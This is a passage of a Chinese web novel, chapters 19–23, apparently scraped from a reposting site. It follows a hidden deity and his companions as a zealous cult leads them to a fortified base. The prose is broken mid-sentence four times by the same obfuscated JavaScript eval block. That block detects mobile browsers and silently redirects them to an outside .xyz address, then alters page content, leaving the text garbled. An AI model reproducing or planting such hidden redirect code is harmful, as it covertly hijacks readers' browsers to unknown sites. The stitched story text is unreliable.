之前还因程老他们对自己的掉马没有什么反应,而心底觉得有些许怪异的顾瑞生也被这群人抓住,此时正坐在一旁,不敢吱声。 19.第 19 章 几次交锋之后,那领头的青年看上去仍旧不是很满意,但最终还是放过了苏教授,并将目光移向了严卓他们。 “你是哪边的?” 同样的场景在眼前重现,顾瑞生绝望地捂紧了耳朵,将脑袋埋在膝盖里。 不知过了多久,顾瑞生感觉到有人向着自己的方向靠近,十分没有边界感地靠着他坐下了。 那人小声问道:“你还好吗?” 顾瑞生没有理他。 他正忙着回忆,自己之前在试着为人类清除千面混沌之种的负面影响时,有没有什么可能会伤害人们脑子的致命操作错误。 严卓看着顾瑞生红透了的侧脸,没再追问,沉默半晌后突然冒出来一句,“没有他们逼问我也是你这边的。” 顾瑞生低头找有没有适合扔出去又一般砸不死人的东西。 在考验了在场所有人对圣髓的忠诚之后,领头的青年点点头,“你们都通过了初步考核,但你们要记住,这只是第一步,后续你们做出任何背叛的举动,我们都会采取强制措施!” 程老几人欲言又止,其中最藏不住事的谢临川下意识地望向顾瑞生,顾瑞生捂着耳朵一直盯着地面,时不时还碾一碾脚边的细石。 青年领头察觉到了谢临川的小动作,大声质问:“怎么,你有什么异议吗?” 谢临川小心翼翼地问:“我想知道,你说的强制措施是什么?” “你这是什么意思?难道你现在就已经在考虑背叛之后的事情了吗?!难道只要代价可以接受你就真的会考虑跳反吗!?” 青年领头的脸因激动和愤怒涨得通红,他一手掐腰,一手指天,声音越来越大,“我把话放这!谁敢做出任何一点伤害圣髓的事情,我周旭这辈子都不会放过他的!” 谢临川一边在心底思考精神伤害算不算伤害,一边用同情的眼神看着对方。 周旭差点没和他打起来。 但另一个看上去像是二把手的人拦住了他,两人嘀嘀咕咕了一会,最终以周旭瞪了谢临川一眼暂时收场。 他轻咳了一声,开始诉说自己找上门的目的。 在几天前,一个看似普通的上午,周旭突然恍惚了一下,而等他调整过来的时候,太阳都已经落山了。 当时周旭还在野外,第一反应是困惑夹杂着些许惊恐,但他很快就反应过来,原本那些会在夜晚活动的黑泥竟然一点动静都没有,只要他自己小心谨慎一点,不一脚踩上去就完全不用担心被偷袭,就和白天时一样。 被偷走的时间加上明显异常的黑泥,周旭稍加思索,很快便意识到有大事发生。 他连夜赶回聚集地,路上还遇见了好几个和自己经历相似的人,几人互相一对,在时间跳跃之前他们干的事情各不相同,清醒的时间也并不完全一致。 这明显不属于科学的范畴,周旭灵机一动,运用排除法判定这只能是圣髓的杰作,并展臂高呼,拉着一群人准备投奔“圣髓垂怜会”,并现在邀请顾瑞生他们也一起加入。 “虽然大型基地呼吁不要宣扬你们的名讳,但因为通讯不便,信息茧的产生又具有极大的偶然性,所以消息并没有被完全封锁,民间也有部分流传。” 严卓小声解释道,表情稍微有些不好。 这是因为那些传言中,大部分都绕不开静滞之瞳。 在顾瑞生出现之前,流传得最广的一种说法,是圣髓是静滞之瞳分割出来的“良心”的具现化,是祂观察世间疾苦后留下的泪水,所以圣髓怜悯又慈悲,才会在路过地球的时候下场帮助人类。 原本严卓虽然因为早早便知道外神没有感情,所以并不相信这种说法,但却也不讨厌这个假设,因为静滞之瞳作为“原点”固定不变,而圣髓是祂身上唯一流动的部分,他觉得这很浪漫。 不过现在想想也就一般,一点也不浪漫。 停顿了一下,严卓继续介绍道,“这种小集团并没有完全统一的名称,除了圣髓垂怜会,还有圣髓本源会、原点之泪教会、应愿之髓宗等很多名字,并且如果没有意外的话……以后还会更多。” 真是没一个好听的。 顾瑞生一瞬间升起了起身拔腿就跑再也不回来了的冲动。 一旁的严卓伸出手,一开始是想拽住蠢蠢欲动的顾瑞生的袖口,中途突然一顿,手掌开始上移。 这动作有些大了,严卓的手刚伸到一半就被两人身后站着的守卫发现,并用一直拿着的木棍把他的手拨开了。 严卓扭头看守卫,守卫面无表情地和他对视,并握紧了手上的木棒。 顾瑞生一开始只是当做自己没看见这些小动作,后来逐渐沉浸在周旭的演讲中,便真的将其忽略掉了。 周旭那边的已经讲到兴复科技还于旧都,吃着雪糕连着WIFI吹着空调唱着小曲一路高歌回归现代生活了。 顾瑞生觉得这群人好像有点过于乐观了。 毕竟坏东西是走丢了又不是死了,只要祂依旧有找回来的可能,就不能完全安心。 周旭讲的口干舌燥,下面的新成员却兴致缺缺,都没什么反应。 他又有点想生气,但想了想,最终还是忍了。 他演讲结束之后,程老带头询问周旭他们具体的目的地,那边回答之后,程老回忆了一下地图,前面很长一段路都是顺的,确实可以一起走。 做出这个判断之后程老和其他人商量了一下,中途顾瑞生欲言又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105431|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止了半天,最后还是没有反驳。 两拨人就这么一起重新出发,与之前的强势不同,好像听过演讲之后周旭便彻底将他们归到了同伙的范畴,几次休息的时候顾瑞生他们都是自由的,完全可以找机会逃跑。 这种反差让顾瑞生几人很是困惑,一直到天色渐晚,顾瑞生好不容易趁着演讲恢复的一点点体力再度耗尽,他都没有想明白这群人到底想干什么。 附近没什么很适合歇脚的建筑,一群人挑挑选选,最后选了一个图书馆。谢临川在看到目的地后便摩拳擦掌,跃跃欲试,趁着顾瑞生思考人生的时候,扭头望向严卓悄悄说道。 “你等着,我给你整点教材去。” 他嘱咐着,“我回来之前,一切先按照计划行事,记得我之前和你说的吗?” 严卓点了点头。 “很好。” 落日的余晖将谢临川的影子拉的很长,也放大了他的每一个动作,原本正在收拾东西的程老眼见着一个鬼鬼祟祟的影子在自己身边辗转腾挪,没忍住回头看了一眼。 他的视线在站在原地的严卓和愈发远去的谢临川之间游弋了片刻,最终摸着自己的良心和身为一个长辈的责任对严卓语重心长道:“我觉得你在这方面不要太信任他比较好。” 严卓静静地扭头望向程老,眼中是无声的谴责。 程老这才想起自己已经因为一时的恶趣味失去了严卓的信任。 莫名地,他想到了狼来了的故事,只是这次,只是这次倒霉的不是说谎的自己而是无辜被骗的普通村民。 一旁原本正在飘着的静滞之瞳来了精神,他并不知道严卓曾经受骗的故事,于是再度干脆地一分为二,一部分继续跟着严卓,另一部分则飘到了程老的身边,手边拿着小人,时刻准备着。 顾瑞生远远地就看见了这边混乱的场景,虽然听不清严卓他们到底在说什么,但看状态估计一时半会结束不了,便打定主意不错偷偷消失一会,一个人研究一下自己现在到底是什么情况。 他必须要赶紧重新掌握自己的力量,毕竟要快点找个办法让坏东西永远找不回来才行。 但具体要怎么做呢?搞个坏东西驱逐咒?或者干脆把地球藏起来……? 正在思考的顾瑞生脚步倏地一顿。 他突然想起了人们给他的那段尊名。 【沉眠纪元最后的守墓人 断裂时间轴的缝合医师 创新世纪的接生者 将旧日残躯锻造为庇护穹顶的伟大父神】 前三句还挺好理解的。 但最后一句…… 顾瑞生心底有些发懵。 这个庇护穹顶是个什么东西啊? 20.第 20 章 顾瑞生扭头回去找程老。 程老还站在原地,而严卓此时已经不知道跑到哪里去了,附近都没看见他的身影。 顾瑞生身边的静滞之瞳和程老身边的那个碰头后双双拿出自己的小人,放在一起进行对比,随后,一直跟着顾瑞生的静滞之瞳看着另一个自己手上拿着的三个眼睛零个胳膊的小人陷入了沉思。 程老随手指了方向,“旁边有个商场,他好像是去选衣服去了。” 顾瑞生原本正环顾四周的动作突然停顿了一下。 程老这么一说,他才想起来,严卓的外套还在自己手里,而这人也从未开口要过。 最近几天的温度偏向凉爽,只是因为一直在徒步所以感觉不算明显,但昼夜温差较大,白天和晚上还挺凉的。 ……所以严卓这家伙不会其实每天冻得发抖但却不敢吱声吧。 顾瑞生沉默两秒后“嗯”了一声,但很快反应过来,又接了一句,“我没问他,我是来找你的。” 程老耸耸肩,没再说什么。 顾瑞生问出了自己的问题,程老沉思了很久后摇摇头,说自己也不知道。 “在我的印象中,几乎是创新世纪刚刚降临,这段尊名就已经被定下,并且传播开了。” 顾瑞生有些疑惑,“不是说那小册子上的东西都是大基地总结出来的吗?你之前还说过这是个尝试什么的。” “只有这个不一样。” 程老回忆道,“谁也说不清这段尊名是被谁、怎么定下来的,在意识到的时候已经有很多人知道了,很难溯源。” 说到这里程老突然笑了下,“因为这个,我们发现传颂尊名可能会和你们这种存在之间产生某种联系的时候,还一度怀疑过这是不是你的阴谋,只要我们念叨得够多,你就会在我们体内复苏之类的。” 程老一直是一个理性的人,他的年纪和阅历让他没有在初见时便第一时间相信顾瑞生诉说的真相,但他同时也并不是一个固守己见的人,当事实摆在眼前的时候,他很愿意改变原本错误得到想法。 这是程老第一次明面上承认顾瑞生的身份,本应该是温馨的一幕,也许他们应该相视一笑,一切尽在不言之中,但顾瑞生一点也笑不出来。 “……我发誓这不是我做的,我也不会随随便便在别人身体里复苏。” “当然,我又不是第一天认识你了。” 程老继续道,“不过现在既然连你本人都不清楚尊名中内容的指向的话,想来最初将这情报传开的肯定不是什么普通人,我会重新试着帮你调查一下的。” 顾瑞生道了声谢,程老摆了摆手, “谢什么,这都是应该做的。” “毕竟你已经付出了那么多,我们也要向你证明,我们值得。” 顾瑞生:“……嗯。” “对了,”趁着气氛还不错,程老小心翼翼道,“严卓这孩子是我看着长大的,我在五年前刚捡到他的时候,他什么都不懂,这几年养下来我基本算是他的半个父母,但我也是第一次养孩子,没什么经验,如果他干出什么奇怪的事情,你也别太生气,和我说,我到时候教训他。” 顾瑞生变换了一下站姿,第一反应是 随后才想起来自己还该反驳严卓干什么和他有什么关系。 但在程老真诚的注视下,他最终只是点了点头,示意自己知道了。 程老听到顾瑞生的回答后长舒了一口气。 他已经尽力了。 剩下就看严卓自己的了。 第二天一早,程老看见严卓的打扮后陷入了长久的沉默。 严卓今天穿戴得异常的整齐,白衬衫被扣到了最上面的扣子,整套的休闲西装下能看见同套的小马甲,头发被精心打理过,在几缕被特意布置了半天的碎发之下,金色的半框眼镜遮挡住了部分锐利的眉眼,却也有另一种说不出的感觉。 如果程老不认识严卓,他会公正地评价他打扮得体,就是看着不像正经好人,像是某些爆米花电影中的非传统主角或者反派角色。 但程老认识他,所以程老现在满脑子都是这小子又要干什么。 他扭头望向谢临川,青年仗着自己正处在顾瑞生视野的死角,正大光明地从外套里掏出一本时尚杂志,那封面上是一个身材高瘦,穿着时尚,摆着POSE的男模特,一眼望去造型和此时的严卓有五分相似。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113861|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢临川对自己的工作很满意,而现在就是见证最终结果的时刻。 只见顾瑞生在见到严卓之后直接顿在了原地,谢临川的角度只能看见对方的单薄挺直的背脊,布料下隐约可见的肩胛骨的轮廓像蜷缩着的翅膀。 刚熬夜看了好几本杂志的谢临川觉得自己灵感来了。 等他回过神来,却见严卓并没有如他之前指教的那样端着,脸上浮现着些许迷茫。 谢临川不知道自己发呆的时候错过了什么。 他扭头望向顾瑞生的背影,在短暂的沉寂后,青年向着严卓的方向走去,距离越来越近,并最终擦肩而过。 在那一瞬间,严卓猛地扭头,拽住了顾瑞生的手腕,“你生气了吗?” “没有。” 顾瑞生嘴角勾起一抹弧度,笑意却不达眼底,“我就是饿了,想去弄点吃的。” “那我帮你。” “没事,我自己就可以。” 顾瑞生说完,轻轻拨开严卓的手,头也不回地离开了。 严卓望着顾瑞生的背影看了很久,等到青年的身影完全消失在视野中,才缓缓、缓缓地扭头。 谢临川低着头,紧蹙着眉,一脸困惑地对比着教材和实物,程老用手捂着脸,谁也看不清他的表情,在另一个看不见的空间,跟随者不同人的三只静滞之瞳全都犹豫了一下,随后同时删掉了小人身上的衣物。 这一切顾瑞生都没有看到。 一路走到荒无人烟的地方,他才稍稍慢下了脚步,长舒一口气。 他此时有些控制不好自己的情绪。 顾瑞生自认并不是一个勇敢又洒脱的人,面对注定悲剧的结局,他不仅没有勇气迈出第一步,甚至远远眺望那条路上的风景都会觉得心在渐渐下沉,并最终演变成一股无名的怒火。 漫无目的地走了半天,余光中,顾瑞生看见不远处好像有个人影。 他抬头,发现那竟然是一直行踪成谜的苏行止。 就当顾瑞生犹豫着要不要当没看见偷偷离开的时候,苏行止像是背后长了眼睛一样同时扭头,两人对视片刻,对方先一步招了招手。 顾瑞生短暂犹豫了片刻,凑上前去。 21.第 21 章 除了初遇的那一阵,顾瑞生已经很久没和苏行止单独相处了。 在他印象里,苏行止一直不太合群,一有空闲时间就向外跑,就像和同类的相处完全没有探索熟悉又陌生的世界重要,视线也总是落在地面上,因为他关注的一切都在那里了。 后来顾瑞生从程老的口中得知了苏行止所做的一切。 在一切正常的年代他并不是什么出名的学者,没人听过他的名字,但创新纪元之后,他第一个带回了有活性的种子,第一个让绿色重返大地。 他能认出路边随便一根植株的品种,熟知它们的习性和培育方式,甚至连顾瑞生两次爆马甲这么大的事情,都不能动摇他的心神,阻碍他在地里拿着铲子挖来挖去的进程。 顾瑞生觉得苏行止是个坚定的人,大概比他自己要坚定,因为苏行止从始至终一直知道自己想要什么。 顾瑞生想,也许自己可以和他谈谈。 但虽然招呼自己过来的是苏行止,对方却好像只是随口一说,顾瑞生早饭都快吃完了,那边都只是一直悠闲地拨弄着脚边的一株小草。 顾瑞生低下头,那小草被苏行止骚扰得东倒西歪,锯齿形的长条叶片看上去格外眼熟,好像就是他最讨厌的那个苦苦的野菜。 “这是还没长出来的蒲公英,在我们这也叫婆婆丁。” 苏行止回忆道,“我小时候喜欢拿蒲公英吹着玩,但是我妈不喜欢,因为种子会落进她的花园里,一旦扎根就好像永远都拔不完。” 顾瑞生猜测,可能苏行止的母亲和自己一样,也不喜欢吃蒲公英。毕竟如果是相反的情况,有源源不断的喜爱食物的供应应该是一件令人开心的事情。 苏行止扭头看他,“你还记得自己的家人吗?” 顾瑞生沉默半晌,“……我不确定。” 有那么一秒,他为自己的答案感到沮丧,但他很快就自行将情绪压了下去,因为那让他感觉自己很软弱无力,这是他相当一段时间内都不会需要的情绪。 但他最近好像经常这么觉得,频率比在宇宙中时高上很多。 苏行止好像并没有觉得顾瑞生模棱两可的答案很奇怪,相反,他笑了下,像是感受到了某种共鸣。 “我也是。” 在顾瑞生望向他时,苏行止说:“记忆这种东西一点也靠不住,尤其是没有另一个人可以和你一起对答案的时候。” “在较为普通的时候,这只会影响一些无关紧要的事情,但有时候,这也会一点点扭曲你的灵魂。” 苏行止说,人是由记忆构成的,重要的,或没那么重要的,自己的,或者别人的。 他说有时,他会通过逻辑推理来试着还原自己的记忆,用还未意识到自己衰退时留下的思想印章。 他举了几个例子,顾瑞生听后发现,对方的方法和自己一样。 用记得的部分反推故人已经被遗忘了的小动作,或者有时反过来,用故人的性格,去推断那些不记得有没有发生过的事情。 但无论是前者还是后者,终归都只是被推断出来的某种可能性,次数多了,原本的真相便也模糊了。 一开始可能只是怀疑对他人的认知,但时间久了,总会发展成连原本的自己也记不清的。 顾瑞生问,那么有没有一种方法能避免这种情况呢。 苏行止回头看他,说你活得更久,思考问题的时间更充裕,你想出来了吗。 顾瑞生不说话了,但他心底是气愤的。 他不说话,苏行止的嘴却没被堵上,看到顾瑞生的反应,他好像被逗乐了,凑到青年身边,“你之前已经做的很好了,为什么还想参考我的办法。” 顾瑞生一开始不太想理苏行止,因为还热乎着的经验告诉他,这可能是对方的陷阱,一旦他认真回答,对方就会抓住他的行为漏洞并逐一嘲笑。 但顾瑞生真的需要有人和自己讨论这个问题,所以他决定做一个大度的人,再原谅对方一次。 于是顾瑞生诚实地回答说,因为他觉得在面对同样的困境时,苏行止的应对比自己要好得多。 如顾瑞生之前猜测的那样,苏行止笑得更大声了,甚至在他谴责的注视下愈演愈烈。 “你怎么会觉得我们的处境是相同的?” 他问。 顾瑞生没觉得这有什么好笑的,就像苏行止这个问题他也只觉得莫名其妙。 几分钟之后,苏行止终于笑够了,他笑得太厉害,甚至眼角渗出了几滴泪水,顺着脸上的沟壑蜿蜒消失,就像滴落在大地上的雨水。 “你想问我的应对办法是吧,很简单,在最坚定的时候确定下目标,剩下的什么都不要想。” 顾瑞生不知道自己该对这个答案做出什么表示,因为这个方法再度和他自己的不谋而合。 但最终表现出来的效果却有一定的差距。 ……这是不是证明方法没问题,只是他这个人不太行? 顾瑞生陷入了短暂的自我怀疑,而这在他看来又是自己不够坚定的证明之一。 不远处传来了一阵喧嚣,大概是周旭他们那边已经收拾好准备继续赶路了,顾瑞生收拾好早餐的残骸站起身,没走两步就听见了苏行止跟上来的声音。 “不用担心,你已经做的很好了。” 苏行止的声音重归平稳,“我看上去很坚定,因为我这辈子最多只有几十年的时间。” 眼前的景象逐渐熟悉,远远地,顾瑞生能看见严卓正在人群之种望着自己,他脱掉了西装外套和马甲,只剩下最朴素的装扮。 “不用害怕未发生的事情,不用抗拒伤害他人。” 苏行止的声音还在继续,“你已经将事情说的很清楚了,他既然没有放弃,便证明他接受最坏的打算。” “至于最后会不会受伤,那是他要考虑的事情。” 你要记住,你是个人。 苏行止说,偶尔,你被允许对自己感到失望。 说完这话,苏行止就越过顾瑞生,去和人们会和去了。 顾瑞生站在原地品了一下这几句话,觉得好像哪里不对。 接下来是寻常的赶路时间,顾瑞生本想就自己之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115173|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突发的情绪向严卓道歉。 但这个计划很快便不幸地被暂时搁置,因为顾瑞生陷入赶路这个过程中对肉.体和精神的双重虐待里抽不出身。 前者不需要过多解释,后者也很好理解。 周旭突发奇想,打算在行程的途中传教。 但他又不知道具体到底发生了什么,所以只能传颂那些他想象中的故事。 在周旭的故事中,一切美好的形容都可以被安放在他想象中圣髓之上,彩虹屁一套接着一套。 顾瑞生听得面红耳赤,恨不得把自己的耳膜捅破算了。 程老看顾瑞生这幅样子叹了口气上前找周旭攀谈,打断施法,而谢临川趁着这个机会又偷偷跑到了严卓的身边。 严卓的第一反应是扭头就跑,现在谢临川在他心中的不靠谱印象已经远超程老。 至少,听程老的话时他顶多被评价幼稚,而经过谢临川的改造他直接惹人生气了。 高下立判。 谢临川被如此对待也有点焦急,主要他担心严卓说不定会为了和顾瑞生和好把自己捅出去,到时候顾瑞生和自己之间会产生隔阂,因此一咬牙,再度叫住了对方,"我还有一计!" 他快步向前,领先严卓半个身位,将身后的背包置于胸前,拉开拉链,里面是零星的杂志夹杂着成沓的耽美小说。 谢临川掏出一本,翻开摊在严卓的面前。 “在我们这个时代,能出书的都有些东西,你再信我一次。” 严卓的脚步停顿了一下,望向程老依旧在和周旭讨论着什么的背影,犹豫了一下,问:“曾经有人按照小说中的方式成功追求过人吗?” 这是一个致命的问题,因为稍微正常一点的人都知道二次元和三次元之间是有巨大差距的。 谢临川的沉默说明了一切,严卓面无表情地看着他,“也就是说你的这些新教材很可能还是没有实践的可能性。 “……这话不能这么说。” 谢临川垂死挣扎,“虽然三次元和二次元之间可能确实有一点实际差距,但特殊性情况特殊对待,我们身上现在发生的事情确实是十几年前只会再小说中出现的情况。” 他语气诚恳,“真的,你就再相信我最后一次。” 严卓看向摊开在自己眼前的小说,在心底默念着纸张上的文字,这页描述的刚好就是告白的一幕,严卓从只言片语中推断出其讲的是一见钟情的故事,他下意识觉得和自己的情况并不相符,但其中一位主角的塑造又确实和顾瑞生有相似之处。 严卓的指尖微颤了一下,谢临川乘胜追击,“要不然这小说你先看着,之后再判断要不要信我,只是这段时间,你不能去告我的状。” “这要求不难吧?毕竟这确实是值得深思熟虑,三思而后行的大事,而且现在你也没有竞争者,不用担心会被抢先,完全可以等准备充分些再行动。” 严卓听后,缓缓点了点头。 在看不见的时空,静滯之瞳也同样注视着纸面上的文字,并在听见谢临川话中某个关键词后,同时转了转眼睛。 22.第 22 章 顾瑞生对自己将要面对什么一无所知。 在严卓和谢临川(以及不请自来的静滞之瞳)密谋的时候,他正和刚与周旭简单交流完的程老交换情报。 程老:“第一次听见周旭他们目的地的时候,我就有些奇怪。” 顾瑞生有些疑惑:“那是什么很稀奇的地方吗?” 程老摇了摇头,“不,目的地的位置暂且不提,他本身知道该往哪里去这点就很奇怪。” 他解释道:“你也知道,我们现在通讯十分困难,紧急抢修出来的设备就那么多,电也不够用,所以只有中大型基地才会在每天固定的时候进行通讯并交换最新的情报。之前我们这次行动也是这么组织出来的。” 顾瑞生很快就意识到了程老口中不对劲的地方。 按照严卓之前的说法,和顾瑞生几天来自己的认识,大部分人对圣髓的尊敬程度都没有达到主动参加教会组织的程度,剩下少部分比较虔诚的,也只是像同好会一样聚在一起,平时没什么正经业务,整体十分平和。 在这种情况下,两边到底是怎么联系上的? “所以我就问了。” 程老说,“周旭也没有隐瞒的意思,他告诉我,他原本所在的基地也不算小,是有通讯设备的,而在事发当晚,他们的基地接到了一封特殊的讯息,大体内容就是如果你信仰圣髓,并且有觉悟想做点什么,就可以到这个地址来。” “……” 顾瑞生理智评价道:“有点像诈骗。” 程老耸了耸肩。 他其实不止问了这些,但周旭这人稀里糊涂的,接到这通讯息的当时什么也没问,什么也没想,听到能为圣髓干点什么就直接振臂一呼,带着一群志同道合的伙伴出发了。 这事看似有些滑稽,但实际上能活到现在的人全部都有自己的想法,在外人看来这可能是不将自己的生命安全当一回事,而实际上生命对于他们来说可能也确实没那么重要。 顾瑞生思考了一下:“你觉得这背后会有什么阴谋吗?比如,这会是和传颂我尊名的同一个人的手笔吗?” “我们去看看就知道了。” 程老笑着说,“有通讯设备,还反应这么快的肯定不是普通人,而且就算没有我们想要的线索,去见见自己的粉丝头子不好吗?” 顾瑞生:“……” 他权当没听见程老的调侃,“我去问问其他人的想法。” 顾瑞生说着,环视一周,恰巧看见严卓和谢临川聚在一起,手上拿着一沓书,嘀嘀咕咕不知道在说什么。 顾瑞生虽然好奇这两个人到底在看什么,但是却不认识字,反倒是视力极佳的程老眼角一抽,连忙道,“那边我来说好了,你去找苏教授。” 他试着转移话题,“对了,我早上看你们两个是一起回来的,你们和好了?” 顾瑞生矜持地仰头,“我们一开始就没吵过架。” 程老笑了笑,“那就好。” 顾瑞生离开的时候最后还是回头看了一眼,程老已经大步向前走到了严卓他们的附近,几个人正表情严肃地在说些什么,中途好像还起了什么争执,气氛很是焦灼。 顾瑞生很少见严卓那副表情,他紧促着眉,垂着眸子看不清具体的神色,周围冷冽的气势就像他眼下正面对着一个前所未有的难题,严肃得几乎让顾瑞生感到陌生。 远远地,顾瑞生看见对方的好像是察觉到了自己的视线,要向自己的方向扭过头来,便紧急转身,背对着严卓的方向,向着苏行止的方向走去。 苏行止对顾瑞生他们要再跟周旭他们一段时间这件事情完全没有意见,不如说,他一直试图往更远的方向探索,只是之前一直挂念着某些东西所以没有付出实践。 和苏行止告别之后,顾瑞生又回到了一个人的状态,现在队伍里人多了,虽然比较分散,但到底没有之前队伍中只有几人时经常会有的,仿佛世界只剩下自己的死寂了。 但顾瑞生依旧感觉到孤独。 他反手去摸自己随身携带着的背包。 背包的拉链没有被完全拉上,一片衣角被从开口的位置扯出了巴掌大的一点,顾瑞生摩挲着粗糙的布料,陷入了短暂的沉思。 后面几天的时间又是在赶路,中途顾瑞生一直偷偷躲着严卓,给自己留下思考的时间。 考虑到他们每天吃住都在一起,这难度还挺大的。 不过好在周旭他们的目的地不算太远,在顾瑞生不懈的努力下,他成功地将自己的思考时间一直延长到了到达目的地的那天。 意料之外情理之中的,周旭所指的目的地是远比程老他们原本所在的那个大学城看上去更专业的地方,那看上去像个堡垒,周围林立着高耸的围墙,出入口的位置还有专人把守。 怎么看都不像周旭口中那副电信诈骗的模样。 ……等等,也许正因为是电信诈骗所以看着才这么森严? 就在顾瑞生陷入了逻辑陷阱的时候,另一边,周旭已经无所畏惧地去和看门的守卫搭话去了。 在看见他们这群人数并不算少的陌生人时,守卫的表情没有丝毫变化,既没有对他们这几十号来人做登记,也没有检查他们身上有没有不该带的物品,只是简单地用眼睛将他们所有人从头到脚扫视一遍,就草草放行了。 顾瑞生身边一个他不认识的教会成员见状好像也觉得哪里不对,偏头小声和同伴吐槽,“宽进严出,不是传销,就是诈骗。” “出好像也不怎么严。” 他的同伴看着同样不需要任何报备就可以从基地出去的居民们,面无表情道,“说不定这里只是单纯的民风自由。” 进入基地之后倒是有专门的人在等着他们,一个看上去有些过分的小女孩接待了他们。 太年轻了,如果让顾瑞生说的话,她很可能是在沉眠纪元时期出生的孩子。 就在顾瑞生打量女孩的时候,对方也在观察他们,她的视线在所有人的身上扫过,在顾瑞生身上停留的最久,随后很快将人分成了三个队伍。 其中顾瑞生较为熟悉的那几个,包括周旭在内都被分在了一起,也不知道分配的具体原则是什么样的,男女老少被打散分配进了每个队伍中。 事情到这里愈发不对劲起来,队伍中有几人开始打退堂鼓,这一切都被小女孩看在眼里,她主动提出,如果有人后悔了随时可以离开,她不会阻拦。 有人听后试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123821|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探性地离开了队伍,在发现小女孩以及门口的守卫都没什么反应后,更多的人也加入其中。 最终队伍缩小了大概四分之一,顾瑞生注意到,那四分之一大多集中在之前被分类出的其中一支队伍中。 小女孩带着剩下的人简单介绍了基地内的各种设施,并挨个分配了房间,仍旧是按照队伍分配的,同一队的人集中在一个区域,精确到个人。 顾瑞生很巧合地被和严卓安排到了对门的位置。 小女孩安排完他们俩就带着大部队继续离开了,顾瑞生望着众人离去的背影,手指微动,最终还是没说要换房间的话。 严卓正在看他,顾瑞生别扭了一阵,突然道,“……之前,我心情不太好,所以态度不对劲,不是针对你的。” 停顿了一下,他又接了一句,“你不要多想。” “嗯。” 面对严卓如此果断的回答,顾瑞生沉默片刻,又从背包中掏出了之前对方给自己的外套,“还有这个,之前一直忘记了,现在还给你。” 严卓接过外套后摸了摸,并在顾瑞生反应过来之前将脸埋了进去。 顾瑞生:“……” “我洗过了的。” 严卓的脸上好像闪过了些许遗憾。 顾瑞生瞬间后背一麻,觉得哪哪都不对劲,脑子里也没细想,就从对方手上重新夺过外套。 严卓保持着抬手的姿势无辜地看着他,顾瑞生则微红着脸,转身、开门、关门一气呵成。 房门关上后发出砰的一声,严卓缓缓放下抬着的手臂,又盯着禁闭的房门看了半晌,才转身回到自己的房间,脸上还带着尚未完全消退的笑意。 分配完房间之后,大家简单收拾了一下便重新下楼集合,负责分配任务的工作人员已经在等他们了。 顾瑞生看了一下,大部分都是一些寻常的工作,比如巡逻和煮饭种菜之类的后勤,特殊一点的有抢救维修器械,这个门槛最高,在场所有人只有一个五十多岁的中年人勉强符合要求。 这些工作看上去就和程老他们的基地干的事情没什么区别,硬要说的话,就是这个基地比程老他们的更有组织性。 这一度让顾瑞生怀疑,这基地是不是只是单纯的缺少人手,又恰巧算准了圣髓“显灵”后会有一批新鲜劳动力流入市场,所以用这种方式招人而已。 唯一能稍微符合一点顾瑞生最初阴谋论想象的工作是“整理教会资料”。 顾瑞生想干这个,但他很快遭受到了现实的毒打。 人家也不是什么人都要的,比如,获得这个工作的最低要求是,要识字。 顾瑞生就这么遗憾落选了。 倒是严卓和程老1他们理所应当般地被选上,并且这个基地竟然也听过严卓的名字,非常热情地说可以让他接触较为隐秘的资料。 顾瑞生不知道有什么关于圣髓的隐秘是严卓能看自己不能看的。 心中憋着一股气,顾瑞生决定用自己字面意义上超出常人的头脑,用一个星期的时间重新识字,随后高调回归,拿下这份工作。 但就在他下定决心的当晚,突然发生了件大事。 有人对基地发动了自杀式的袭击。 23.第 23 章 一开始顾瑞生几乎觉得自己幻听了。 创新世纪的夜晚总是安静的,没有虫鸣鸟叫,没有永不停歇的机器运作的声音,大家日出而作日落而息,天一黑便默契地回到自己的住所,只有邻居们偶尔的交谈声能证明世界上还有其他人的存在,过着某种程度上最原始又淳朴的生活。 